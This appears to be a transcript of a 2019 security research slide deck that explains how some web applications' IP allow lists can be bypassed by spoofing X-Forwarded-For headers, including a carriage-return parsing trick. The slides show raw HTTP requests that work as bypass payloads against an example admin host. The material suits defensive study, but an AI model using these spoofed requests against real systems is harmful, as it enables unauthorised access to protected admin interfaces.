Upgrade to Pro — share decks privately, control downloads, hide ads and more …

At Home Among Strangers

Avatar for Bo0oM Bo0oM
December 06, 2019

At Home Among Strangers

Bypassing IP white sheets of some web applications due to incorrect parsing of HTTP request headers.

Avatar for Bo0oM

Bo0oM

December 06, 2019
Tweet

More Decks by Bo0oM

Other Decks in Research

Transcript

  1. At Home Among Strangers Bypassing IP white sheets of some

    web applications due to incorrect parsing of HTTP request headers.
  2. HTTP-request GET / HTTP/1.1
 Host: admin.my.site
 Connection: close GET /

    HTTP/1.1
 Host: admin.my.site
 X-Forwarded-For: 123.123.123.123, 192.168.1.1
 Connection: close X-Forwarded-For: <client>, <proxy>
  3. XFF/XRI Spoofing GET / HTTP/1.1
 Host: admin.my.site X-Forwarded-For: 127.0.0.1
 Connection:

    close GET / HTTP/1.1
 Host: admin.my.site
 X-Forwarded-For: 127.0.0.1, 123.123.123.123, 192.168.1.1
 Connection: close X-Forwarded-For: <fake>, <client>, <proxy>
  4. HTTP-request with 0d GET / HTTP/1.1\r\n
 Host: admin.my.site\r\n
 X-Forwarded-For: 127.0.0.1\r\r\n


    Connection: close\r\n \r\n X-Forwarded-For: <fake>\r, <client>, <proxy>
  5. XFF/XRI Spoofing+ GET / HTTP/1.1\r\n
 Host: admin.my.site\r\n
 X-Forwarded-For: 127.0.0.1\r\r\n
 Connection:

    close\r\n \r\n GET / HTTP/1.1
 Host: admin.my.site
 X-Forwarded-For: 127.0.0.1 , 123.123.123.123, 192.168.1.1
 Connection: close X-Forwarded-For: <fake> , <client>, <proxy> Tomcat? WebSphere?